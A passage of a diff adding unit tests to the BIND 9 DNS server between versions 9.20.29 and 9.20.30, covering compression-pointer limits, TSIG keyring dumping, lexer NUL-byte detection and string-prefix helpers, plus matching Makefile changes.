single pointer at the far end of the chain. MINFO predates + * RFC 3597, so it is one of the types still allowed to compress. + */ +ISC_RUN_TEST_IMPL(decompression_hop_limit) { + const struct { + unsigned int follows; + bool labelled; + isc_result_t expected; + } cases[] = { + /* a chain that spends a label per hop is conforming */ + { DNS_NAME_MAXHOPS, true, ISC_R_SUCCESS }, + /* one hop further and it overruns the name length limit */ + { DNS_NAME_MAXHOPS + 1, true, DNS_R_NAMETOOLONG }, + /* pointers leading straight to pointers are not */ + { DNS_NAME_MAXINDIRECTS + 1, false, ISC_R_SUCCESS }, + { DNS_NAME_MAXINDIRECTS + 2, false, DNS_R_BADPOINTER }, + }; + + for (size_t i = 0; i < ARRAY_SIZE(cases); i++) { + unsigned char wire[4 * (DNS_NAME_MAXHOPS + 2) + 8]; + unsigned char buf[1024]; + isc_buffer_t source, target; + dns_rdata_t rdata = DNS_RDATA_INIT; + unsigned int nodes = cases[i].follows - 1; + size_t stride = cases[i].labelled ? 4 : 2; + size_t head, off, len, p = 0; + isc_result_t result; + dns_decompress_t dctx = DNS_DECOMPRESS_INITIALIZER; + + dns_decompress_setpermitted(&dctx, true); + + wire[p++] = 0x00; + for (unsigned int node = 0; node < nodes; node++) { + off = (node == 0) ? 0 : 1 + stride * (node - 1); + if (cases[i].labelled) { + wire[p++] = 1; + wire[p++] = 'a'; + } + wire[p++] = 0xc0 | (off >> 8); + wire[p++] = off & 0xff; + } + + off = p; + head = 1 + stride * (nodes - 1); + wire[p++] = 0xc0 | (head >> 8); /* RMAILBX: into the chain */ + wire[p++] = head & 0xff; + wire[p++] = 0x00; /* EMAILBX: the root */ + len = p; + + isc_buffer_init(&source, wire, len); + isc_buffer_add(&source, len); + isc_buffer_forward(&source, off); + isc_buffer_setactive(&source, len - off); + isc_buffer_init(&target, buf, sizeof(buf)); + + result = dns_rdata_fromwire(&rdata, dns_rdataclass_in, + dns_rdatatype_minfo, &source, &dctx, + &target); + assert_int_equal(result, cases[i].expected); + } +} + ISC_RUN_TEST_IMPL(atcname) { unsigned int i; @@ -3629,6 +3938,7 @@ ISC_TEST_ENTRY(hhit) ISC_TEST_ENTRY(hip) ISC_TEST_ENTRY(https_svcb) +ISC_TEST_ENTRY(https_svcb_nulbyte) ISC_TEST_ENTRY(isdn) ISC_TEST_ENTRY(key) ISC_TEST_ENTRY(l32) @@ -3643,12 +3953,15 @@ ISC_TEST_ENTRY(rkey) ISC_TEST_ENTRY(rrsig) ISC_TEST_ENTRY(sshfp) +ISC_TEST_ENTRY(uri) ISC_TEST_ENTRY(wallet) ISC_TEST_ENTRY(wks) ISC_TEST_ENTRY(zonemd) /* other tests */ ISC_TEST_ENTRY(edns_client_subnet) +ISC_TEST_ENTRY(decompression_hop_limit) +ISC_TEST_ENTRY(decompression_permitted) ISC_TEST_ENTRY(atcname) ISC_TEST_ENTRY(atparent) ISC_TEST_ENTRY(iszonecutauth) diff -Nru bind9-9.20.29/tests/dns/tsig_test.c bind9-9.20.30/tests/dns/tsig_test.c --- bind9-9.20.29/tests/dns/tsig_test.c 2026-09-11 19:41:01.739336697 +0000 +++ bind9-9.20.30/tests/dns/tsig_test.c 2026-10-12 13:12:08.653905171 +0000 @@ -20,18 +20,25 @@ #include #include +/* Include OpenSSL before cmocka redefines the allocator names. */ +#include + #define UNIT_TESTING #include +#include #include #include #include +#include +#include #include #include #include #include +#include "dst_internal.h" #include "tsig_p.h" #include @@ -541,6 +548,327 @@ tsig_delete(true); } +/* + * dns_tsigkeyring_dump() can only write a key whose DST provider + * implements dump(), which in practice means GSS-TSIG. Stand in for the + * provider with a copy of the HMAC function table so that the dump paths + * can be exercised without a Kerberos session. + */ +#define MOCK_KEYDATA "dGVzdA==" +#define TEST_INCEPTION 4242 +#define TEST_CREATOR "creator.example" + +static dst_func_t dump_funcs; +static isc_result_t dump_result; + +static isc_result_t +mock_dump(dst_key_t *key, isc_mem_t *key_mctx, char **buffer, int *length) { + UNUSED(key); + + if (dump_result != ISC_R_SUCCESS) { + return dump_result; + } + + *length = sizeof(MOCK_KEYDATA) - 1; + *buffer = isc_mem_get(key_mctx, *length); + memmove(*buffer, MOCK_KEYDATA, *length); + + return ISC_R_SUCCESS; +} + +/* + * Add a key to 'ring'. Only a generated, unexpired key with a working + * provider dump() is eligible to be written out. + */ +static void +add_key(dns_tsigkeyring_t *ring, const char *namestr, bool generated, + isc_stdtime_t expire, bool dumpable) { + unsigned char secret[] = "a test secret"; + dns_fixedname_t fname, fcreator; + dns_name_t *name = dns_fixedname_initname(&fname); + dns_name_t *creator = dns_fixedname_initname(&fcreator); + dns_tsigkey_t *tkey = NULL, *tmp = NULL; + isc_result_t result; + + result = dns_name_fromstring(name, namestr, dns_rootname, 0, NULL); + assert_int_equal(result, ISC_R_SUCCESS); + result = dns_name_fromstring(creator, TEST_CREATOR, dns_rootname, 0, + NULL); + assert_int_equal(result, ISC_R_SUCCESS); + + /* dns_tsigkey_create() derives the DST key from the secret. */ + result = dns_tsigkey_create(name, DST_ALG_HMACSHA256, secret, + sizeof(secret), mctx, &tmp); + assert_int_equal(result, ISC_R_SUCCESS); + + if (dumpable) { + dump_funcs = *tmp->key->func; + dump_funcs.dump = mock_dump; + tmp->key->func = &dump_funcs; + } + + result = dns_tsigkey_createfromkey(name, DST_ALG_HMACSHA256, tmp->key, + generated, false, creator, + TEST_INCEPTION, expire, mctx, &tkey); + assert_int_equal(result, ISC_R_SUCCESS); + dns_tsigkey_detach(&tmp); + + result = dns_tsigkeyring_add(ring, tkey); + assert_int_equal(result, ISC_R_SUCCESS); + dns_tsigkey_detach(&tkey); +} + +#define TEST_KEYFILE BUILDDIR "/tsigkeys.test" + +static void +remove_keyfile(void) { + (void)unlink(TEST_KEYFILE); +} + +static bool +keyfile_exists(void) { + return access(TEST_KEYFILE, F_OK) == 0; +} + +/* + * Parse the dumped key file, returning the number of keys it holds. The + * out parameters describe the last key read. + */ +static unsigned int +read_keyfile(char *namestr, char *creatorstr, char *algstr, char *keystr, + isc_stdtime_t *inception, isc_stdtime_t *expire) { + char line[4096] = { 0 }; + unsigned int keys = 0; + FILE *fp = fopen(TEST_KEYFILE, "r"); + assert_non_null(fp); + + while (fgets(line, sizeof(line), fp) != NULL) { + /* Each field buffer holds DNS_NAME_FORMATSIZE (1024). */ + assert_int_equal(sscanf(line, + "%1023s %1023s %u %u %1023s %1023s", + namestr, creatorstr, inception, expire, + algstr, keystr), + 6); + keys++; + } + int ret = fclose(fp); + assert_int_equal(ret, 0); + + return keys; +} + +/* + * A reload shares the dynamic keyring between the old and the new view. + * Exporting a GSS context consumes it, so only the final owner may dump. + */ +ISC_RUN_TEST_IMPL(tsig_dumpanddetach_shared) { + char namestr[DNS_NAME_FORMATSIZE], creatorstr[DNS_NAME_FORMATSIZE]; + char algstr[DNS_NAME_FORMATSIZE], keystr[4096]; + isc_stdtime_t inception, expire, now = isc_stdtime_now(); + dns_fixedname_t fname; + dns_name_t *name = dns_fixedname_initname(&fname); + dns_tsigkeyring_t *ring = NULL, *shared = NULL; + dns_tsigkey_t *found = NULL; + isc_result_t result; + + remove_keyfile(); + dump_result = ISC_R_SUCCESS; + dns_tsigkeyring_create(mctx, &ring); + add_key(ring, "session.example", true, now + 3600, true); + dns_tsigkeyring_attach(ring, &shared); + + result = dns_tsigkeyring_dumpanddetach(&ring, TEST_KEYFILE); + assert_int_equal(result, DNS_R_CONTINUE); + assert_null(ring); + assert_false(keyfile_exists()); + + /* The surviving owner still resolves the key. */ + result = dns_name_fromstring(name, "session.example", dns_rootname, 0, + NULL); + assert_int_equal(result, ISC_R_SUCCESS); + result = dns_tsigkey_find(&found, name, NULL, shared); + assert_int_equal(result, ISC_R_SUCCESS); + dns_tsigkey_detach(&found); + + result = dns_tsigkeyring_dumpanddetach(&shared, TEST_KEYFILE); + assert_int_equal(result, ISC_R_SUCCESS); + assert_null(shared); + assert_int_equal(read_keyfile(namestr, creatorstr, algstr, keystr, + &inception, &expire), + 1); + assert_string_equal(namestr, "session.example"); + remove_keyfile(); +} + +ISC_RUN_TEST_IMPL(tsig_dumpanddetach_nothing) { + isc_stdtime_t now = isc_stdtime_now(); + dns_tsigkeyring_t *ring = NULL; + isc_result_t result; + + remove_keyfile(); + dump_result = ISC_R_SUCCESS; + + /* An empty ring. */ + dns_tsigkeyring_create(mctx, &ring); + result = dns_tsigkeyring_dumpanddetach(&ring, TEST_KEYFILE); + assert_int_equal(result, ISC_R_NOTFOUND); + assert_null(ring); + + /* A statically configured key is not written out. */ + dns_tsigkeyring_create(mctx, &ring); + add_key(ring, "static.example", false, now + 3600, true); + result = dns_tsigkeyring_dumpanddetach(&ring, TEST_KEYFILE); + assert_int_equal(result, ISC_R_NOTFOUND); + + /* An expired generated key is not written out. */ + dns_tsigkeyring_create(mctx, &ring); + add_key(ring, "expired.example", true, now - 1, true); + result = dns_tsigkeyring_dumpanddetach(&ring, TEST_KEYFILE); + assert_int_equal(result, ISC_R_NOTFOUND); + + /* A provider without dump() support, i.e. every non-GSS key. */ + dns_tsigkeyring_create(mctx, &ring); + add_key(ring, "hmac.example", true, now + 3600, false); + result = dns_tsigkeyring_dumpanddetach(&ring, TEST_KEYFILE); + assert_int_equal(result, ISC_R_NOTFOUND); + + /* A provider whose dump() fails. */ + dns_tsigkeyring_create(mctx, &ring); + add_key(ring, "broken.example", true, now + 3600, true); + dump_result = ISC_R_FAILURE; + result = dns_tsigkeyring_dumpanddetach(&ring, TEST_KEYFILE); + assert_int_equal(result, ISC_R_NOTFOUND); + + /* Nothing above may have published a key file. */ + assert_false(keyfile_exists()); +} + +ISC_RUN_TEST_IMPL(tsig_dumpanddetach_key) { + char namestr[DNS_NAME_FORMATSIZE], creatorstr[DNS_NAME_FORMATSIZE]; + char algstr[DNS_NAME_FORMATSIZE], keystr[4096]; + isc_stdtime_t inception, expire, now = isc_stdtime_now(); + dns_tsigkeyring_t *ring = NULL; + isc_result_t result; + + remove_keyfile(); + dump_result = ISC_R_SUCCESS; + dns_tsigkeyring_create(mctx, &ring); + add_key(ring, "session.example", true, now + 3600, true); + + result = dns_tsigkeyring_dumpanddetach(&ring, TEST_KEYFILE); + assert_int_equal(result, ISC_R_SUCCESS); + assert_null(ring); + + assert_int_equal(read_keyfile(namestr, creatorstr, algstr, keystr, + &inception, &expire), + 1); + assert_string_equal(namestr, "session.example"); + assert_string_equal(creatorstr, TEST_CREATOR); + assert_int_equal(inception, TEST_INCEPTION); + assert_int_equal(expire, now + 3600); + assert_string_equal(algstr, "hmac-sha256"); + assert_string_equal(keystr, MOCK_KEYDATA); + remove_keyfile(); +} + +/* An undumpable key must not suppress the keys that can be dumped. */ +ISC_RUN_TEST_IMPL(tsig_dumpanddetach_skips_undumpable) { + char namestr[DNS_NAME_FORMATSIZE], creatorstr[DNS_NAME_FORMATSIZE]; + char algstr[DNS_NAME_FORMATSIZE], keystr[4096]; + isc_stdtime_t inception, expire, now = isc_stdtime_now(); + dns_tsigkeyring_t *ring = NULL; + isc_result_t result; + + remove_keyfile(); + dump_result = ISC_R_SUCCESS; + dns_tsigkeyring_create(mctx, &ring); + add_key(ring, "hmac.example", true, now + 3600, false); + add_key(ring, "session.example", true, now + 3600, true); + + result = dns_tsigkeyring_dumpanddetach(&ring, TEST_KEYFILE); + assert_int_equal(result, ISC_R_SUCCESS); + assert_int_equal(read_keyfile(namestr, creatorstr, algstr, keystr, + &inception, &expire), + 1); + assert_string_equal(namestr, "session.example"); + remove_keyfile(); +} + +/* A key file that cannot be published must not be left half written. */ +ISC_RUN_TEST_IMPL(tsig_dumpanddetach_unwritable) { + isc_stdtime_t now = isc_stdtime_now(); + dns_tsigkeyring_t *ring = NULL; + isc_result_t result; + + remove_keyfile(); + dump_result = ISC_R_SUCCESS; + dns_tsigkeyring_create(mctx, &ring); + add_key(ring, "session.example", true, now + 3600, true); + + result = dns_tsigkeyring_dumpanddetach(&ring, + TEST_KEYFILE "/nonexistent/x"); + assert_int_not_equal(result, ISC_R_SUCCESS); + assert_int_not_equal(result, DNS_R_CONTINUE); + assert_null(ring); + assert_false(keyfile_exists()); +} + +typedef struct { + dns_tsigkeyring_t *ring; + atomic_bool *start; + isc_result_t result; +} dump_thread_t; + +static void * +dump_thread(void *arg) { + dump_thread_t *ctx = arg; + + while (!atomic_load_acquire(ctx->start)) { + isc_thread_yield(); + } + ctx->result = dns_tsigkeyring_dumpanddetach(&ctx->ring, TEST_KEYFILE); + + return NULL; +} + +/* Exactly one owner may dump, however the detaches interleave. */ +ISC_RUN_TEST_IMPL(tsig_dumpanddetach_concurrent) { + isc_stdtime_t now = isc_stdtime_now(); + dns_tsigkeyring_t *ring = NULL; + isc_thread_t threads[8]; + dump_thread_t contexts[8] = { 0 }; + atomic_bool start = false; + unsigned int dumped = 0, continued = 0; + + remove_keyfile(); + dump_result = ISC_R_SUCCESS; + dns_tsigkeyring_create(mctx, &ring); + add_key(ring, "session.example", true, now + 3600, true); + + for (size_t i = 0; i < ARRAY_SIZE(threads); i++) { + dns_tsigkeyring_attach(ring, &contexts[i].ring); + contexts[i].start = &start; + isc_thread_create(dump_thread, &contexts[i], &threads[i]); + } + dns_tsigkeyring_detach(&ring); + atomic_store_release(&start, true); + + for (size_t i = 0; i < ARRAY_SIZE(threads); i++) { + isc_thread_join(threads[i], NULL); + assert_null(contexts[i].ring); + if (contexts[i].result == ISC_R_SUCCESS) { + dumped++; + } else { + assert_int_equal(contexts[i].result, DNS_R_CONTINUE); + continued++; + } + } + assert_int_equal(dumped, 1); + assert_int_equal(continued, ARRAY_SIZE(threads) - 1); + assert_true(keyfile_exists()); + remove_keyfile(); +} + /* Tests the dns__tsig_algvalid function */ ISC_RUN_TEST_IMPL(algvalid) { UNUSED(state); @@ -562,6 +890,13 @@ ISC_TEST_ENTRY_CUSTOM(tsig_badtime, setup_test, teardown_test) ISC_TEST_ENTRY_CUSTOM(tsig_delete, setup_test, teardown_test) ISC_TEST_ENTRY_CUSTOM(tsig_tcp, setup_test, teardown_test) +ISC_TEST_ENTRY_CUSTOM(tsig_dumpanddetach_shared, setup_test, teardown_test) +ISC_TEST_ENTRY_CUSTOM(tsig_dumpanddetach_nothing, setup_test, teardown_test) +ISC_TEST_ENTRY_CUSTOM(tsig_dumpanddetach_key, setup_test, teardown_test) +ISC_TEST_ENTRY_CUSTOM(tsig_dumpanddetach_skips_undumpable, setup_test, + teardown_test) +ISC_TEST_ENTRY_CUSTOM(tsig_dumpanddetach_unwritable, setup_test, teardown_test) +ISC_TEST_ENTRY_CUSTOM(tsig_dumpanddetach_concurrent, setup_test, teardown_test) ISC_TEST_LIST_END ISC_TEST_MAIN diff -Nru bind9-9.20.29/tests/isc/Makefile.am bind9-9.20.30/tests/isc/Makefile.am --- bind9-9.20.29/tests/isc/Makefile.am 2026-09-11 19:41:01.740336721 +0000 +++ bind9-9.20.30/tests/isc/Makefile.am 2026-10-12 13:12:08.654905193 +0000 @@ -48,6 +48,7 @@ sockaddr_test \ spinlock_test \ stats_test \ + string_test \ symtab_test \ tcp_test \ tcpdns_test \ diff -Nru bind9-9.20.29/tests/isc/Makefile.in bind9-9.20.30/tests/isc/Makefile.in --- bind9-9.20.29/tests/isc/Makefile.in 2026-09-11 19:42:19.208204583 +0000 +++ bind9-9.20.30/tests/isc/Makefile.in 2026-10-12 13:13:34.399598981 +0000 @@ -113,10 +113,10 @@ result_test$(EXEEXT) rwlock_test$(EXEEXT) safe_test$(EXEEXT) \ siphash_test$(EXEEXT) sockaddr_test$(EXEEXT) \ spinlock_test$(EXEEXT) stats_test$(EXEEXT) \ - symtab_test$(EXEEXT) tcp_test$(EXEEXT) tcpdns_test$(EXEEXT) \ - time_test$(EXEEXT) timer_test$(EXEEXT) tls_test$(EXEEXT) \ - tlsdns_test$(EXEEXT) udp_test$(EXEEXT) url_test$(EXEEXT) \ - work_test$(EXEEXT) $(am__EXEEXT_1) + string_test$(EXEEXT) symtab_test$(EXEEXT) tcp_test$(EXEEXT) \ + tcpdns_test$(EXEEXT) time_test$(EXEEXT) timer_test$(EXEEXT) \ + tls_test$(EXEEXT) tlsdns_test$(EXEEXT) udp_test$(EXEEXT) \ + url_test$(EXEEXT) work_test$(EXEEXT) $(am__EXEEXT_1) @HAVE_LIBNGHTTP2_TRUE@am__append_2 = \ @HAVE_LIBNGHTTP2_TRUE@ doh_test @@ -378,6 +378,12 @@ stats_test_DEPENDENCIES = $(am__DEPENDENCIES_2) $(am__DEPENDENCIES_1) \ $(am__DEPENDENCIES_1) $(top_builddir)/tests/libtest/libtest.la \ $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_3) +string_test_SOURCES = string_test.c +string_test_OBJECTS = string_test.$(OBJEXT) +string_test_LDADD = $(LDADD) +string_test_DEPENDENCIES = $(am__DEPENDENCIES_2) $(am__DEPENDENCIES_1) \ + $(am__DEPENDENCIES_1) $(top_builddir)/tests/libtest/libtest.la \ + $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_3) symtab_test_SOURCES = symtab_test.c symtab_test_OBJECTS = symtab_test.$(OBJEXT) symtab_test_LDADD = $(LDADD) @@ -469,7 +475,8 @@ ./$(DEPDIR)/result_test.Po ./$(DEPDIR)/rwlock_test.Po \ ./$(DEPDIR)/safe_test.Po ./$(DEPDIR)/siphash_test.Po \ ./$(DEPDIR)/sockaddr_test.Po ./$(DEPDIR)/spinlock_test.Po \ - ./$(DEPDIR)/stats_test.Po ./$(DEPDIR)/symtab_test.Po \ + ./$(DEPDIR)/stats_test.Po ./$(DEPDIR)/string_test.Po \ + ./$(DEPDIR)/symtab_test.Po \ ./$(DEPDIR)/tcp_test-netmgr_common.Po \ ./$(DEPDIR)/tcp_test-stream_shutdown.Po \ ./$(DEPDIR)/tcp_test-tcp_test.Po \ @@ -513,7 +520,7 @@ $(proxyudp_test_SOURCES) quota_test.c radix_test.c \ ratelimiter_test.c regex_test.c result_test.c rwlock_test.c \ safe_test.c siphash_test.c sockaddr_test.c spinlock_test.c \ - stats_test.c symtab_test.c $(tcp_test_SOURCES) \ + stats_test.c string_test.c symtab_test.c $(tcp_test_SOURCES) \ $(tcpdns_test_SOURCES) time_test.c timer_test.c \ $(tls_test_SOURCES) $(tlsdns_test_SOURCES) $(udp_test_SOURCES) \ url_test.c work_test.c @@ -527,7 +534,7 @@ $(proxyudp_test_SOURCES) quota_test.c radix_test.c \ ratelimiter_test.c regex_test.c result_test.c rwlock_test.c \ safe_test.c siphash_test.c sockaddr_test.c spinlock_test.c \ - stats_test.c symtab_test.c $(tcp_test_SOURCES) \ + stats_test.c string_test.c symtab_test.c $(tcp_test_SOURCES) \ $(tcpdns_test_SOURCES) time_test.c timer_test.c \ $(tls_test_SOURCES) $(tlsdns_test_SOURCES) $(udp_test_SOURCES) \ url_test.c work_test.c @@ -1380,6 +1387,10 @@ @rm -f stats_test$(EXEEXT) $(AM_V_CCLD)$(LINK) $(stats_test_OBJECTS) $(stats_test_LDADD) $(LIBS) +string_test$(EXEEXT): $(string_test_OBJECTS) $(string_test_DEPENDENCIES) $(EXTRA_string_test_DEPENDENCIES) + @rm -f string_test$(EXEEXT) + $(AM_V_CCLD)$(LINK) $(string_test_OBJECTS) $(string_test_LDADD) $(LIBS) + symtab_test$(EXEEXT): $(symtab_test_OBJECTS) $(symtab_test_DEPENDENCIES) $(EXTRA_symtab_test_DEPENDENCIES) @rm -f symtab_test$(EXEEXT) $(AM_V_CCLD)$(LINK) $(symtab_test_OBJECTS) $(symtab_test_LDADD) $(LIBS) @@ -1466,6 +1477,7 @@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/sockaddr_test.Po@am__quote@ # am--include-marker @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/spinlock_test.Po@am__quote@ # am--include-marker @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/stats_test.Po@am__quote@ # am--include-marker +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/string_test.Po@am__quote@ # am--include-marker @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/symtab_test.Po@am__quote@ # am--include-marker @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tcp_test-netmgr_common.Po@am__quote@ # am--include-marker @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tcp_test-stream_shutdown.Po@am__quote@ # am--include-marker @@ -2301,6 +2313,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +string_test.log: string_test$(EXEEXT) + @p='string_test$(EXEEXT)'; \ + b='string_test'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) symtab_test.log: symtab_test$(EXEEXT) @p='symtab_test$(EXEEXT)'; \ b='symtab_test'; \ @@ -2515,6 +2534,7 @@ -rm -f ./$(DEPDIR)/sockaddr_test.Po -rm -f ./$(DEPDIR)/spinlock_test.Po -rm -f ./$(DEPDIR)/stats_test.Po + -rm -f ./$(DEPDIR)/string_test.Po -rm -f ./$(DEPDIR)/symtab_test.Po -rm -f ./$(DEPDIR)/tcp_test-netmgr_common.Po -rm -f ./$(DEPDIR)/tcp_test-stream_shutdown.Po @@ -2621,6 +2641,7 @@ -rm -f ./$(DEPDIR)/sockaddr_test.Po -rm -f ./$(DEPDIR)/spinlock_test.Po -rm -f ./$(DEPDIR)/stats_test.Po + -rm -f ./$(DEPDIR)/string_test.Po -rm -f ./$(DEPDIR)/symtab_test.Po -rm -f ./$(DEPDIR)/tcp_test-netmgr_common.Po -rm -f ./$(DEPDIR)/tcp_test-stream_shutdown.Po diff -Nru bind9-9.20.29/tests/isc/lex_test.c bind9-9.20.30/tests/isc/lex_test.c --- bind9-9.20.29/tests/isc/lex_test.c 2026-09-11 19:41:01.743336793 +0000 +++ bind9-9.20.30/tests/isc/lex_test.c 2026-10-12 13:12:08.656905235 +0000 @@ -483,6 +483,122 @@ } } +/* + * Lex a single token out of 'text' (which may contain embedded NUL + * bytes) and return whether isc_token_hasnul() flags it. + */ +static bool +lex_hasnul(const unsigned char *text, size_t len, unsigned int options, + isc_tokentype_t expect) { + isc_buffer_t buf; + isc_lex_t *lex = NULL; + isc_result_t result; + isc_token_t token; + bool hasnul; + + isc_lex_create(mctx, 1024, &lex); + + isc_buffer_constinit(&buf, text, len); + isc_buffer_add(&buf, len); + + result = isc_lex_openbuffer(lex, &buf); + assert_int_equal(result, ISC_R_SUCCESS); + + memset(&token, 0, sizeof(token)); + result = isc_lex_gettoken(lex, options, &token); + assert_int_equal(result, ISC_R_SUCCESS); + assert_int_equal(token.type, expect); + + hasnul = isc_token_hasnul(&token); + + isc_lex_destroy(&lex); + + return hasnul; +} + +ISC_RUN_TEST_IMPL(token_hasnul) { + static const char clean[] = "abc"; + static const char nul_mid[] = "a\0c"; + static const char nul_end[] = "ab\0"; + static const unsigned char lex_string[] = "abc"; + static const unsigned char lex_string_rawnul[] = "ab\0c"; + static const unsigned char lex_string_escnul[] = "ab\\\0c"; + static const unsigned char lex_qstring[] = "\"abc\""; + static const unsigned char lex_qstring_nul[] = "\"ab\0c\""; + isc_token_t token; + + UNUSED(state); + + /* String tokens: NUL anywhere in the text region is detected. */ + token = (isc_token_t){ .type = isc_tokentype_string }; + token.value.as_textregion.base = UNCONST(clean); + token.value.as_textregion.length = sizeof(clean) - 1; + assert_false(isc_token_hasnul(&token)); + + token.value.as_textregion.base = UNCONST(nul_mid); + token.value.as_textregion.length = sizeof(nul_mid) - 1; + assert_true(isc_token_hasnul(&token)); + + token.value.as_textregion.base = UNCONST(nul_end); + token.value.as_textregion.length = sizeof(nul_end) - 1; + assert_true(isc_token_hasnul(&token)); + + /* An empty region has nothing to inspect. */ + token.value.as_textregion.base = UNCONST(clean); + token.value.as_textregion.length = 0; + assert_false(isc_token_hasnul(&token)); + + /* Only the region length counts, not the C-string terminator. */ + token.value.as_textregion.base = UNCONST(clean); + token.value.as_textregion.length = sizeof(clean); + assert_true(isc_token_hasnul(&token)); + + /* Quoted strings are checked the same way. */ + token.type = isc_tokentype_qstring; + token.value.as_textregion.base = UNCONST(nul_mid); + token.value.as_textregion.length = sizeof(nul_mid) - 1; + assert_true(isc_token_hasnul(&token)); + + token.value.as_textregion.base = UNCONST(clean); + token.value.as_textregion.length = sizeof(clean) - 1; + assert_false(isc_token_hasnul(&token)); + + /* + * Non-string token types never report a NUL, even when the + * union happens to hold a region pointing at one. + */ + token.value.as_textregion.base = UNCONST(nul_mid); + token.value.as_textregion.length = sizeof(nul_mid) - 1; + for (isc_tokentype_t type = isc_tokentype_unknown; + type <= isc_tokentype_qvpair; type++) + { + if (type == isc_tokentype_string || + type == isc_tokentype_qstring) + { + continue; + } + token.type = type; + assert_false(isc_token_hasnul(&token)); + } + + /* + * Tokens produced by the lexer itself. A raw NUL terminates an + * unquoted string, so the token it yields is clean; a NUL only + * reaches a string token when escaped, or inside a quoted string. + */ + assert_false(lex_hasnul(lex_string, sizeof(lex_string) - 1, 0, + isc_tokentype_string)); + assert_false(lex_hasnul(lex_string_rawnul, + sizeof(lex_string_rawnul) - 1, 0, + isc_tokentype_string)); + assert_true(lex_hasnul(lex_string_escnul, sizeof(lex_string_escnul) - 1, + ISC_LEXOPT_ESCAPE, isc_tokentype_string)); + assert_false(lex_hasnul(lex_qstring, sizeof(lex_qstring) - 1, + ISC_LEXOPT_QSTRING, isc_tokentype_qstring)); + assert_true(lex_hasnul(lex_qstring_nul, sizeof(lex_qstring_nul) - 1, + ISC_LEXOPT_QSTRING, isc_tokentype_qstring)); +} + ISC_TEST_LIST_START ISC_TEST_ENTRY(lex_0x00) ISC_TEST_ENTRY(lex_0x00_initialws) @@ -492,6 +608,7 @@ ISC_TEST_ENTRY(lex_setline) ISC_TEST_ENTRY(lex_string) ISC_TEST_ENTRY(lex_qstring) +ISC_TEST_ENTRY(token_hasnul) ISC_TEST_LIST_END ISC_TEST_MAIN diff -Nru bind9-9.20.29/tests/isc/string_test.c bind9-9.20.30/tests/isc/string_test.c --- bind9-9.20.29/tests/isc/string_test.c 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/tests/isc/string_test.c 2026-10-12 13:12:08.660905321 +0000 @@ -0,0 +1,95 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +#include /* IWYU pragma: keep */ +#include +#include +#include + +#define UNIT_TESTING +#include + +#include + +#include + +ISC_RUN_TEST_IMPL(hasprefix) { + /* matches: exact string and proper prefixes */ + assert_true(isc_string_hasprefix("maxudp=512", "maxudp=")); + assert_true(isc_string_hasprefix("maxudp=", "maxudp=")); + assert_true(isc_string_hasprefix("anything", "")); + assert_true(isc_string_hasprefix("", "")); + + /* case matters */ + assert_false(isc_string_hasprefix("MAXUDP=512", "maxudp=")); + + /* non-matches, including 'str' shorter than 'prefix' */ + assert_false(isc_string_hasprefix("maxcachesize=1", "maxudp")); + assert_false(isc_string_hasprefix("max", "maxudp=")); + assert_false(isc_string_hasprefix("", "maxudp=")); +} + +ISC_RUN_TEST_IMPL(casehasprefix) { + /* matches regardless of case */ + assert_true(isc_string_casehasprefix("ixfr=1234", "ixfr=")); + assert_true(isc_string_casehasprefix("IXFR=1234", "ixfr=")); + assert_true(isc_string_casehasprefix("IxFr=1234", "iXfR=")); + assert_true(isc_string_casehasprefix("anything", "")); + + /* non-matches, including 'str' shorter than 'prefix' */ + assert_false(isc_string_casehasprefix("axfr=1", "ixfr=")); + assert_false(isc_string_casehasprefix("ixfr", "ixfr=")); + assert_false(isc_string_casehasprefix("", "ixfr=")); +} + +ISC_RUN_TEST_IMPL(stripprefix) { + const char *str = "maxudp=512"; + + /* matches return the remainder after the prefix */ + assert_ptr_equal(isc_string_stripprefix(str, "maxudp="), str + 7); + assert_string_equal(isc_string_stripprefix(str, "maxudp="), "512"); + assert_string_equal(isc_string_stripprefix(str, ""), str); + assert_string_equal(isc_string_stripprefix("maxudp=", "maxudp="), ""); + + /* case matters */ + assert_null(isc_string_stripprefix("MAXUDP=512", "maxudp=")); + + /* non-matches, including 'str' shorter than 'prefix' */ + assert_null(isc_string_stripprefix("maxcachesize=1", "maxudp=")); + assert_null(isc_string_stripprefix("max", "maxudp=")); + assert_null(isc_string_stripprefix("", "maxudp=")); +} + +ISC_RUN_TEST_IMPL(casestripprefix) { + const char *str = "IXFR=1234"; + + /* matches regardless of case return the remainder */ + assert_ptr_equal(isc_string_casestripprefix(str, "ixfr="), str + 5); + assert_string_equal(isc_string_casestripprefix(str, "ixfr="), "1234"); + assert_string_equal(isc_string_casestripprefix("IxFr=1", "iXfR="), "1"); + assert_string_equal(isc_string_casestripprefix(str, ""), str); + + /* non-matches, including 'str' shorter than 'prefix' */ + assert_null(isc_string_casestripprefix("axfr=1", "ixfr=")); + assert_null(isc_string_casestripprefix("ixfr", "ixfr=")); + assert_null(isc_string_casestripprefix("", "ixfr=")); +} + +ISC_TEST_LIST_START +ISC_TEST_ENTRY(hasprefix) +ISC_TEST_ENTRY(casehasprefix) +ISC_TEST_ENTRY(stripprefix) 